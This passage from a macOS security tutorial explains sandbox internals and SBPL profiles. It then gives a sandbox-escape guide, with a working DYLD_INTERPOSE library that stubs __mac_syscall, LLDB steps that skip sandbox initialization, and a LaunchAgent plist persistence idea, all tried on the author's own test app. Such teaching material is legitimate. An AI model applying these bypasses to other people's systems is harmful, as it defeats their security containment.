    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>./Swizzle.dylib ./MD5App
</code></pre></div>    </div>
  </li>
</ol>

<p><strong>Output:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2024-06-25 15:30:00.000000+0000 MD5App[12345:67890] Generated Message: &lt;random_message&gt;
2024-06-25 15:30:00.000000+0000 MD5App[12345:67890] MD5 Hash: &lt;md5_hash&gt;
Please enter the original string:
&lt;user_enters_message&gt;
2024-06-25 15:30:00.000000+0000 MD5App[12345:67890] Intercepted MD5 message: &lt;user_enters_message&gt;
Congrats, You swizzle it successfully
</code></pre></div></div>

<p>If the user enters the correct message, it will display “Congrats, You swizzle it successfully”. If the message is incorrect, it will display “You need to be more swizzly :(“. The swizzle library will intercept and log the original message, demonstrating the dynamic interception of method calls.</p>

<h1 id="sandbox-escaping">SandBox Escaping</h1>

<p>The <code class="language-plaintext highlighter-rouge">macOS</code> Sandbox was introduced in Mac OS X 10.5 Leopard, which was released on October 26, 2007. Initially, the sandbox was used to protect specific system services and applications. Over time, its use has expanded, and it has become a critical component of <code class="language-plaintext highlighter-rouge">macOS</code>’s overall security architecture.</p>

<h2 id="fundementals">Fundementals</h2>

<p>The isolation helps prevent applications from accessing unauthorized data and limits the potential damage of a compromised application. The Sandbox achieves this by enforcing strict controls on what resources an application can access and what actions it can perform.</p>

<h3 id="components-of-macos-sandbox">Components of macOS Sandbox</h3>

<ol>
  <li><strong>Userland Daemon (<code class="language-plaintext highlighter-rouge">/usr/libexec/sandboxd</code>)</strong>:
    <ul>
      <li>This daemon enforces sandbox policies and monitors application behavior.</li>
    </ul>
  </li>
  <li><strong>Private Framework (<code class="language-plaintext highlighter-rouge">/System/Library/PrivateFrameworks/AppSandbox.framework</code>)</strong>:
    <ul>
      <li>This framework provides APIs for managing and enforcing sandbox policies.</li>
    </ul>
  </li>
  <li><strong>Kernel Extension (<code class="language-plaintext highlighter-rouge">/System/Library/Extensions/Sandbox.kext</code>)</strong>:
    <ul>
      <li>The kernel extension implements the core sandboxing functionality, extending the Mandatory Access Control Framework (<code class="language-plaintext highlighter-rouge">MACF</code>) of the macOS kernel.</li>
    </ul>
  </li>
</ol>

<h3 id="sandbox-profile-language">Sandbox Profile Language</h3>

<p>The Sandbox Profile Language (<code class="language-plaintext highlighter-rouge">SBPL</code>) is used to define the rules and policies for sandboxing applications in macOS. These profiles determine what an application can and cannot do, ensuring that applications run in a restricted environment to enhance security.</p>

<h4 id="sandbox-profile-paths">Sandbox Profile Paths</h4>

<p>When an application is sandboxed, it is contained within a specific directory under <code class="language-plaintext highlighter-rouge">~/Library/Containers</code>. The profile path includes:</p>
<ul>
  <li><strong>Container Directory</strong>: <code class="language-plaintext highlighter-rouge">~/Library/Containers/&lt;bundle_id&gt;</code></li>
  <li><strong>Profile Data File</strong>: <code class="language-plaintext highlighter-rouge">~/Library/Containers/&lt;bundle_id&gt;/Container.plist</code></li>
  <li><strong>Data Directory</strong>: <code class="language-plaintext highlighter-rouge">~/Library/Containers/&lt;bundle_id&gt;/Data</code></li>
</ul>

<p>The <code class="language-plaintext highlighter-rouge">Container.plist</code> file contains configuration data about the sandbox environment, including entitlements and access permissions.</p>

<h3 id="app-sandboxing-process">App Sandboxing Process</h3>

<p><img width="1294" height="488" alt="image" src="https://github.com/user-attachments/assets/d111c62f-ab97-4b25-9f25-0020605f5061" /></p>

<ol>
  <li><strong>Application Start</strong>:
    <ul>
      <li>The process begins when the application is launched.</li>
    </ul>
  </li>
  <li><strong>Dynamic Loader (dyld)</strong>:
    <ul>
      <li>The dynamic loader (<code class="language-plaintext highlighter-rouge">dyld</code>) loads the <code class="language-plaintext highlighter-rouge">libSystem.B.dylib</code> library, which is essential for system functions.</li>
    </ul>
  </li>
  <li><strong>Library Initialization (libSystem)</strong>:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">libSystem.B.dylib</code> initializes and makes a call to <code class="language-plaintext highlighter-rouge">libsystem_secinit.dylib</code>.</li>
    </ul>
  </li>
  <li><strong>Sandbox Registration (libSecInit)</strong>:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">libsystem_secinit.dylib</code>’s <code class="language-plaintext highlighter-rouge">_libsecinit_appsandbox</code> function makes an XPC call to <code class="language-plaintext highlighter-rouge">secinitd</code> daemon to register the application and retrieve sandbox profile information.</li>
    </ul>
  </li>
  <li><strong>Sandbox Profile Retrieval (secinitd)</strong>:
    <ul>
      <li>The <code class="language-plaintext highlighter-rouge">secinitd</code> daemon sends back the sandbox profile and related information.</li>
    </ul>
  </li>
  <li><strong>Kernel Extension (Kernel)</strong>:
    <ul>
      <li>Finally, <code class="language-plaintext highlighter-rouge">libsystem_secinit.dylib</code> applies the sandbox restrictions by making a syscall (<code class="language-plaintext highlighter-rouge">__mac_syscall</code>) to the sandbox kernel extension, which enforces the sandbox policies.</li>
    </ul>
  </li>
</ol>

<p>## Sandbox Profile Language</p>

<h4 id="sandbox-profile-language-sbpl-syntax">Sandbox Profile Language (SBPL) Syntax</h4>

<p>Sandbox profiles are written in SBPL, which uses a Lisp-like syntax. The key components include:</p>

<ul>
  <li><strong>(version X)</strong>: Specifies the version of the SBPL.</li>
  <li><strong>(allow …)</strong>: Allows specific actions or accesses.</li>
  <li><strong>(deny …)</strong>: Denies specific actions or accesses.</li>
  <li><strong>(regex “…”)</strong>: Uses regular expressions to match paths or resources.</li>
</ul>

<h4 id="applying-and-testing-profiles">Applying and Testing Profiles</h4>

<ol>
  <li><strong>Creating Profiles</strong>:
    <ul>
      <li>Write the profile rules in a text editor and save the file with a <code class="language-plaintext highlighter-rouge">.sb</code> extension.</li>
    </ul>
  </li>
  <li><strong>Applying Profiles</strong>:
    <ul>
      <li>Use the <code class="language-plaintext highlighter-rouge">sandbox-exec</code> command to apply the profile to an application for testing.</li>
    </ul>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sandbox-exec <span class="nt">-f</span> path/to/profile.sb /path/to/application
</code></pre></div>    </div>
  </li>
  <li><strong>Testing and Debugging</strong>:
    <ul>
      <li>Run the application with the applied profile and monitor its behavior. Adjust the rules as necessary to ensure the application functions correctly while adhering to the security constraints.</li>
    </ul>
  </li>
</ol>

<h4 id="1-default-profiles">1. Default Profiles</h4>

<p><strong>Example: Default Browser Profile</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(version 1)
(allow file-read-data (regex "^/Users/[^/]+/"))
(allow file-write-data (regex "^/Users/[^/]+/"))
(allow network-outbound (remote tcp))
(deny file-read-data (regex "^/System/"))
(deny file-write-data (regex "^/System/"))
</code></pre></div></div>

<ul>
  <li><strong>(version 1)</strong>: Specifies the SBPL version.</li>
  <li><strong>(allow file-read-data (regex “^/Users/[^/]+/”))</strong>: Allows the application to read data from any user’s home directory.</li>
  <li><strong>(allow file-write-data (regex “^/Users/[^/]+/”))</strong>: Allows the application to write data to any user’s home directory.</li>
  <li><strong>(allow network-outbound (remote tcp))</strong>: Allows outbound TCP network connections, enabling internet access.</li>
  <li><strong>(deny file-read-data (regex “^/System/”))</strong>: Denies reading data from the system directory, protecting system files.</li>
  <li><strong>(deny file-write-data (regex “^/System/”))</strong>: Denies writing data to the system directory, preventing system modification.</li>
</ul>

<h4 id="2-custom-application-profiles">2. Custom Application Profiles</h4>

<p><strong>Example: Custom Profile for a Media Player</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(version 1)
(deny default)
(allow file-read-data (regex "^/Users/[^/]+/Music/"))
(allow file-read-data (regex "^/Users/[^/]+/Movies/"))
(allow network-outbound (remote tcp))
(deny file-read-data (regex "^/Users/[^/]+/Documents/"))
(deny file-write-data)
</code></pre></div></div>

<p><strong>Explanation</strong>:</p>
<ul>
  <li><strong>(version 1)</strong>: Specifies the SBPL version.</li>
  <li><strong>(deny default)</strong>: Denies all actions by default, enforcing a restrictive policy.</li>
  <li><strong>(allow file-read-data (regex “^/Users/[^/]+/Music/”))</strong>: Allows reading data from the Music directory.</li>
  <li><strong>(allow file-read-data (regex “^/Users/[^/]+/Movies/”))</strong>: Allows reading data from the Movies directory.</li>
  <li><strong>(allow network-outbound (remote tcp))</strong>: Allows outbound TCP network connections for streaming.</li>
  <li><strong>(deny file-read-data (regex “^/Users/[^/]+/Documents/”))</strong>: Denies reading data from the Documents directory.</li>
  <li><strong>(deny file-write-data)</strong>: Denies all file write operations, preventing any modifications.</li>
</ul>

<h4 id="3-developer-profiles">3. Developer Profiles</h4>

<p><strong>Example: Developer Profile for a Web Application</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(version 1)
(allow file-read-data)
(allow file-write-data)
(allow network-outbound (remote tcp))
(allow network-inbound (local tcp))
</code></pre></div></div>

<p><strong>Explanation</strong>:</p>
<ul>
  <li><strong>(version 1)</strong>: Specifies the SBPL version.</li>
  <li><strong>(allow file-read-data)</strong>: Allows reading data from any file location.</li>
  <li><strong>(allow file-write-data)</strong>: Allows writing data to any file location.</li>
  <li><strong>(allow network-outbound (remote tcp))</strong>: Allows outbound TCP network connections, enabling internet access.</li>
  <li><strong>(allow network-inbound (local tcp))</strong>: Allows inbound TCP network connections, facilitating local testing and debugging.</li>
</ul>

<h4 id="4-service-specific-profiles">4. Service-Specific Profiles</h4>

<p><strong>Example: Profile for a Backup Service</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(version 1)
(deny default)
(allow file-read-data (regex "^/Users/[^/]+/"))
(deny file-write-data)
(deny network-outbound)
</code></pre></div></div>

<p><strong>Explanation</strong>:</p>
<ul>
  <li><strong>(version 1)</strong>: Specifies the SBPL version.</li>
  <li><strong>(deny default)</strong>: Denies all actions by default, enforcing a restrictive policy.</li>
  <li><strong>(allow file-read-data (regex “^/Users/[^/]+/”))</strong>: Allows reading data from any user’s home directory for backup purposes.</li>
  <li><strong>(deny file-write-data)</strong>: Denies all file write operations, preventing any modifications.</li>
  <li><strong>(deny network-outbound)</strong>: Denies outbound network connections, ensuring no data is sent over the network.</li>
</ul>

<h4 id="5-minimalist-profiles">5. Minimalist Profiles</h4>

<p><strong>Example: Minimalist Profile for a Secure Notes App</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(version 1)
(deny default)
(allow file-read-data (regex "^/Users/[^/]+/SecureNotes/"))
(allow file-write-data (regex "^/Users/[^/]+/SecureNotes/"))
(deny network-outbound)
(deny network-inbound)
</code></pre></div></div>

<p><strong>Explanation</strong>:</p>
<ul>
  <li><strong>(version 1)</strong>: Specifies the SBPL version.</li>
  <li><strong>(deny default)</strong>: Denies all actions by default, enforcing a highly restrictive policy.</li>
  <li><strong>(allow file-read-data (regex “^/Users/[^/]+/SecureNotes/”))</strong>: Allows reading data only from the SecureNotes directory.</li>
  <li><strong>(allow file-write-data (regex “^/Users/[^/]+/SecureNotes/”))</strong>: Allows writing data only to the SecureNotes directory.</li>
  <li><strong>(deny network-outbound)</strong>: Denies outbound network connections, preventing data from being sent out.</li>
  <li><strong>(deny network-inbound)</strong>: Denies inbound network connections, ensuring no external access.</li>
</ul>

<h2 id="building-and-testing-a-sandboxed-application">Building and Testing a Sandboxed Application</h2>

<p>We will create a simple application that attempts to read a file in the <code class="language-plaintext highlighter-rouge">/etc/</code> directory and observe how the sandbox restricts this operation.</p>

<h4 id="step-1-create-the-application">Step 1: Create the Application</h4>

<p>First, we will create a simple C application that tries to read the contents of a file in the <code class="language-plaintext highlighter-rouge">/etc/</code> directory.</p>

<p><strong>Source Code of Sandboxed Application</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">file</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">100</span><span class="p">];</span>

  <span class="n">file</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"/etc/hosts"</span><span class="p">,</span> <span class="s">"r"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">file</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">perror</span><span class="p">(</span><span class="s">"Error opening file"</span><span class="p">);</span>
    <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="k">while</span> <span class="p">(</span><span class="n">fgets</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="n">file</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%s"</span><span class="p">,</span> <span class="n">buffer</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Save this code in a file named <code class="language-plaintext highlighter-rouge">readfile.c</code>.</p>

<h4 id="step-2-create-the-entitlement-file">Step 2: Create the Entitlement File</h4>

<p>To enable sandboxing, we need to create an entitlement file that forces the application into the sandbox.</p>

<p><strong>Entitlement File (readfile.xml)</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>com.apple.security.app-sandbox<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p>Save this content in a file named <code class="language-plaintext highlighter-rouge">readfile.xml</code>.</p>

<h4 id="step-3-create-the-infoplist-file">Step 3: Create the Info.plist File</h4>

<p>We also need an <code class="language-plaintext highlighter-rouge">Info.plist</code> file to embed in our application.</p>

<p><strong>Info.plist</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
  <span class="nt">&lt;key&gt;</span>CFBundleIdentifier<span class="nt">&lt;/key&gt;</span>
  <span class="nt">&lt;string&gt;</span>com.example.readfile<span class="nt">&lt;/string&gt;</span>
  <span class="nt">&lt;key&gt;</span>CFBundleName<span class="nt">&lt;/key&gt;</span>
  <span class="nt">&lt;string&gt;</span>ReadFile<span class="nt">&lt;/string&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p>Save this content in a file named <code class="language-plaintext highlighter-rouge">Info.plist</code>.</p>

<h4 id="step-4-compile-and-embed-infoplist">Step 4: Compile and Embed Info.plist</h4>

<p>To compile the application and embed the <code class="language-plaintext highlighter-rouge">Info.plist</code> file, use the following command:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-Xlinker</span> <span class="nt">-sectcreate</span> <span class="nt">-Xlinker</span> __TEXT <span class="nt">-Xlinker</span> __info_plist <span class="nt">-Xlinker</span> Info.plist readfile.c <span class="nt">-o</span> readfile
</code></pre></div></div>

<h4 id="step-5-code-sign-the-application">Step 5: Code Sign the Application</h4>

<p>Next, we need to code sign the application with the sandbox entitlement.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">-s</span> <span class="s2">"Your Signing Identity"</span> <span class="nt">--entitlements</span> readfile.xml readfile
</code></pre></div></div>

<h4 id="step-6-run-the-application">Step 6: Run the Application</h4>

<p>Now, let’s run the application to see if it can read the file in the <code class="language-plaintext highlighter-rouge">/etc/</code> directory.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./readfile
Error opening file: Operation not permitted
</code></pre></div></div>

<p>As expected, the operation is not permitted because the sandbox restricts access to the <code class="language-plaintext highlighter-rouge">/etc/</code> directory.</p>

<h2 id="guide-for-sandbox-escaping">Guide for sandbox Escaping</h2>

<p>There are couples of ways can be considered to escape/bypass the sandbox:</p>

<h3 id="method-1-kernel-vulnerability-exploitation">Method 1: Kernel Vulnerability Exploitation</h3>

<p><strong>Summary</strong>: This method involves finding and exploiting a vulnerability in the macOS kernel. Exploiting a kernel vulnerability grants immediate kernel privileges, effectively bypassing the sandbox and escalating user privileges. This approach is commonly used across various operating systems, including Windows.</p>

<ul>
  <li><strong>Advantages</strong>: Provides immediate kernel privileges and complete control over the system.</li>
  <li><strong>Disadvantages</strong>: Requires deep knowledge of kernel internals and sophisticated exploitation techniques. Finding exploitable kernel vulnerabilities can be challenging.</li>
</ul>

<h3 id="method-2-non-sandboxed-binary-execution">Method 2: Non-Sandboxed Binary Execution</h3>

<p><strong>Summary</strong>: This method involves placing a non-sandboxed binary or script on the system and having a non-sandboxed application execute it. The execution of the non-sandboxed binary allows the escape from the sandbox.</p>

<p><strong>Approach 1</strong>: Use PLIST Files in Launch Agents or Daemons</p>
<ul>
  <li><strong>Description</strong>: Drop a PLIST file inside <code class="language-plaintext highlighter-rouge">~/Library/LaunchAgents</code> or <code class="language-plaintext highlighter-rouge">/Library/LaunchDaemons</code>. The <code class="language-plaintext highlighter-rouge">launchd</code> service will later execute the binary specified in the PLIST file outside the sandbox.</li>
  <li><strong>Steps</strong>:
    <ul>
      <li>Create a PLIST file with the appropriate configuration to execute your binary.</li>
      <li>Place the PLIST file in the <code class="language-plaintext highlighter-rouge">~/Library/LaunchAgents</code> or <code class="language-plaintext highlighter-rouge">/Library/LaunchDaemons</code> directory.</li>
      <li>Wait for <code class="language-plaintext highlighter-rouge">launchd</code> to execute the binary.</li>
    </ul>
  </li>
</ul>

<p><strong>Approach 2</strong>: Communicate with a Non-Sandboxed Mach Service</p>
<ul>
  <li><strong>Description</strong>: Find a non-sandboxed Mach service that can be instructed to execute a binary. Communicate with this service to have it execute the binary for you outside the sandbox.</li>
  <li><strong>Steps</strong>:
    <ul>
      <li>Identify a suitable non-sandboxed Mach service.</li>
      <li>Develop a way to communicate with the Mach service.</li>
      <li>Instruct the service to execute your binary.</li>
    </ul>
  </li>
  <li><strong>Advantages</strong>: Relatively easier to implement compared to kernel exploitation.</li>
  <li><strong>Disadvantages</strong>: Depends on the availability of non-sandboxed applications or services willing to execute the binary.</li>
</ul>

<h4 id="method-3-vulnerability-in-sandbox-implementation">Method 3: Vulnerability in Sandbox Implementation</h4>

<p><strong>Summary</strong>: This method involves finding and exploiting a vulnerability within the sandbox implementation itself. By exploiting this vulnerability, it is possible to break out of the sandbox restrictions.</p>

<ul>
  <li><strong>Advantages</strong>: Directly targets the sandbox mechanism, potentially leading to a more reliable escape.</li>
  <li><strong>Disadvantages</strong>: Requires a detailed understanding of the sandbox implementation and identifying exploitable flaws within it.</li>
</ul>

<h2 id="method-1-using-interposing-to-disable-sandbox">Method 1 Using Interposing to Disable Sandbox</h2>

<p>This guide provides step-by-step instructions to disable macOS sandbox restrictions using the interposing technique. We will create a dynamic library that interposes the <code class="language-plaintext highlighter-rouge">__mac_syscall</code> function to bypass sandboxing for our <code class="language-plaintext highlighter-rouge">readfile</code> application.</p>

<h4 id="step-1-create-the-interposing-library">Step 1: Create the Interposing Library</h4>

<ol>
  <li>
    <p><strong>Write the Interposing Code</strong>:
Create a new file named <code class="language-plaintext highlighter-rouge">interpose.c</code> with the following content:</p>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">__mac_syscall</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">_policyname</span><span class="p">,</span> <span class="kt">int</span> <span class="n">_call</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">_arg</span><span class="p">);</span>

<span class="cp">#define DYLD_INTERPOSE(_replacement, _replacee) \
    __attribute__((used)) static struct { \
        const void* replacement; \
        const void* replacee; \
    } _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
        (const void*) (unsigned long) &amp;_replacement, \
        (const void*) (unsigned long) &amp;_replacee \
    };
</span>
<span class="kt">int</span> <span class="nf">my_mac_syscall</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">_policyname</span><span class="p">,</span> <span class="kt">int</span> <span class="n">_call</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">_arg</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"__mac_syscall arguments: policyname ==&gt; %s, call ==&gt; %d, arg ==&gt; %p)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">_policyname</span><span class="p">,</span> <span class="n">_call</span><span class="p">,</span> <span class="n">_arg</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> 
<span class="p">}</span>

<span class="n">DYLD_INTERPOSE</span><span class="p">(</span><span class="n">my_mac_syscall</span><span class="p">,</span> <span class="n">__mac_syscall</span><span class="p">);</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Explanation</strong>:</p>
    <ul>
      <li><strong><code class="language-plaintext highlighter-rouge">__mac_syscall</code></strong>: Declares the original system function that we will interpose.</li>
      <li><strong><code class="language-plaintext highlighter-rouge">DYLD_INTERPOSE</code></strong>: Macro used to interpose the <code class="language-plaintext highlighter-rouge">__mac_syscall</code> function.</li>
      <li><strong><code class="language-plaintext highlighter-rouge">my_mac_syscall</code></strong>: Custom implementation of <code class="language-plaintext highlighter-rouge">__mac_syscall</code> that prints the function arguments and returns 0, indicating a successful call.</li>
    </ul>
  </li>
</ol>

<h4 id="step-2-compile-the-interposing-library">Step 2: Compile the Interposing Library</h4>

<ol>
  <li>
    <p><strong>Compile</strong>:
Use the following command to compile the interposing library into a dynamic library (<code class="language-plaintext highlighter-rouge">.dylib</code>):</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-dynamiclib</span> <span class="nt">-o</span> interpose.dylib interpose.c
</code></pre></div>    </div>

    <p>This command creates a dynamic library named <code class="language-plaintext highlighter-rouge">interpose.dylib</code>.</p>
  </li>
</ol>

<h4 id="step-3-run-the-application-with-interposing-library">Step 3: Run the Application with Interposing Library</h4>

<ol>
  <li>
    <p><strong>Run with DYLD_INSERT_LIBRARIES</strong>:
Set the <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> environment variable to the path of the interposing library and run the <code class="language-plaintext highlighter-rouge">readfile</code> application:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>./interpose.dylib ./readfile
</code></pre></div>    </div>

    <p>This command sets up the environment so that the dynamic loader (<code class="language-plaintext highlighter-rouge">dyld</code>) loads the interposing library before executing the <code class="language-plaintext highlighter-rouge">readfile</code> application.</p>
  </li>
</ol>

<h2 id="method-2-inspect--bypass-sandbox-initialization-process-using-lldb-debugger">Method 2: Inspect &amp; Bypass sandbox initialization process Using LLDB Debugger</h2>

<p>This guide provides step-by-step instructions to bypass macOS sandbox restrictions using the LLDB debugger on the previously created <code class="language-plaintext highlighter-rouge">readfile</code> application. The <code class="language-plaintext highlighter-rouge">readfile</code> application attempts to read the <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file, which is restricted by the sandbox.</p>

<h4 id="step-1-load-the-executable-into-the-debugger">Step 1: Load the Executable into the Debugger</h4>

<ol>
  <li>
    <p><strong>Start LLDB</strong>:
Open your terminal and start LLDB with the target application:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lldb ./readfile
</code></pre></div>    </div>
  </li>
  <li>
    <p><strong>Create Target</strong>:
Set the executable as the target:</p>

    <pre><code class="language-lldb">(lldb) target create "./readfile"
</code></pre>

    <p>This command loads the <code class="language-plaintext highlighter-rouge">readfile</code> application into the debugger.</p>
  </li>
</ol>

<h4 id="step-2-set-a-breakpoint-on-xpc_pipe_routine">Step 2: Set a Breakpoint on <code class="language-plaintext highlighter-rouge">xpc_pipe_routine</code></h4>

<ol>
  <li>
    <p><strong>Set Breakpoint</strong>:
Set a breakpoint on the <code class="language-plaintext highlighter-rouge">xpc_pipe_routine</code> function, which is responsible for handling inter-process communication:</p>

    <pre><code class="language-lldb">(lldb) b xpc_pipe_routine
</code></pre>

    <p>The debugger will break when it reaches this function.</p>
  </li>
</ol>

<h4 id="step-3-run-the-application">Step 3: Run the Application</h4>

<ol>
  <li>
    <p><strong>Run</strong>:
Start running the application within the debugger:</p>

    <pre><code class="language-lldb">(lldb) run
</code></pre>

    <p>The application will start and pause when it hits the breakpoint.</p>
  </li>
</ol>

<h4 id="step-4-check-the-backtrace">Step 4: Check the Backtrace</h4>

<ol>
  <li>
    <p><strong>Backtrace</strong>:
Check the backtrace to understand the call stack at the breakpoint:</p>

    <pre><code class="language-lldb">(lldb) bt
</code></pre>

    <p>This command provides a backtrace showing the series of function calls leading to <code class="language-plaintext highlighter-rouge">xpc_pipe_routine</code>.</p>
  </li>
</ol>

<h4 id="step-5-continue-execution-and-break-again">Step 5: Continue Execution and Break Again</h4>

<ol>
  <li>
    <p><strong>Continue</strong>:
Resume execution to hit the breakpoint again, this time ensuring it is called from the relevant function (<code class="language-plaintext highlighter-rouge">_libsecinit_appsandbox</code>):</p>

    <pre><code class="language-lldb">(lldb) c
</code></pre>
  </li>
  <li>
    <p><strong>Backtrace</strong>:
Check the backtrace again to verify the call stack:</p>

    <pre><code class="language-lldb">(lldb) bt
</code></pre>

    <p>Ensure <code class="language-plaintext highlighter-rouge">xpc_pipe_routine</code> is called from <code class="language-plaintext highlighter-rouge">_libsecinit_appsandbox</code>.</p>
  </li>
</ol>

<h4 id="step-6-inspect-the-xpc-message">Step 6: Inspect the XPC Message</h4>

<ol>
  <li>
    <p><strong>Inspect Message</strong>:
Use the <code class="language-plaintext highlighter-rouge">p</code> command to inspect the XPC message being sent:</p>

    <pre><code class="language-lldb">(lldb) p (char *) xpc_copy_description($rsi)
</code></pre>

    <p>This command prints the details of the XPC message.</p>
  </li>
  <li>
    <p><strong>Retrieve Reply Address</strong>:
Read the value of the RDX register to find the address where the XPC reply will be stored:</p>

    <pre><code class="language-lldb">(lldb) register read $rdx
</code></pre>

    <p>Note the address returned by this command.</p>
  </li>
</ol>

<h4 id="step-7-step-out-and-inspect-the-reply">Step 7: Step Out and Inspect the Reply</h4>

<ol>
  <li>
    <p><strong>Step Out</strong>:
Step out of the <code class="language-plaintext highlighter-rouge">xpc_pipe_routine</code> function call to continue execution until it returns:</p>

    <pre><code class="language-lldb">(lldb) finish
</code></pre>
  </li>
  <li>
    <p><strong>Read Memory</strong>:
Read the memory at the address noted in the previous step to inspect the XPC reply:</p>

    <pre><code class="language-lldb">(lldb) memory read -f p 0x00007ffeefbfdc28 -c 1
(lldb) p (char *) xpc_copy_description(0x0000000100202bd0)
</code></pre>

    <p>This command displays the details of the XPC reply, providing information about sandboxing.</p>
  </li>
</ol>

<h4 id="step-8-set-a-conditional-breakpoint-on-__mac_syscall">Step 8: Set a Conditional Breakpoint on <code class="language-plaintext highlighter-rouge">__mac_syscall</code></h4>

<ol>
  <li>
    <p><strong>Set Breakpoint</strong>:
Set a conditional breakpoint on <code class="language-plaintext highlighter-rouge">__mac_syscall</code> to intercept the sandbox initialization:</p>

    <pre><code class="language-lldb">(lldb) breakpoint set --name __mac_syscall --condition '($rsi == 0)'
</code></pre>

    <p>This breakpoint triggers when the second argument (RSI) is zero, indicating a sandbox initialization call.</p>
  </li>
</ol>

<h4 id="step-9-continue-and-modify-execution">Step 9: Continue and Modify Execution</h4>

<ol>
  <li>
    <p><strong>Continue</strong>:
Resume execution to hit the conditional breakpoint:</p>

    <pre><code class="language-lldb">(lldb) c
</code></pre>
  </li>
  <li>
    <p><strong>Check Parameters</strong>:
Verify the parameters after hitting the breakpoint to ensure it is the correct call:</p>

    <pre><code class="language-lldb">(lldb) memory read -f s $rdi
(lldb) register read $rsi
</code></pre>
  </li>
  <li>
    <p><strong>Skip System Call</strong>:
Modify the instruction pointer to skip the system call and set the return value to indicate success:</p>

    <pre><code class="language-lldb">(lldb) register write $rip 0xADDRESS
(lldb) register write $rax 0
(lldb) breakpoint delete 1
(lldb) c
</code></pre>

    <ul>
      <li><strong><code class="language-plaintext highlighter-rouge">register write $rip 0xADDRESS</code></strong>: Adjusts the instruction pointer to skip the system call.</li>
      <li><strong><code class="language-plaintext highlighter-rouge">register write $rax 0</code></strong>: Sets the return value to 0, indicating a successful call.</li>
      <li><strong><code class="language-plaintext highlighter-rouge">breakpoint delete 1</code></strong>: Deletes the initial breakpoint set on <code class="language-plaintext highlighter-rouge">xpc_pipe_routine</code>.</li>
    </ul>
  </li>
</ol>

<h4 id="step-10-verify-execution">Step 10: Verify Execution</h4>

<ol>
  <li>
    <p><strong>Run Application</strong>:
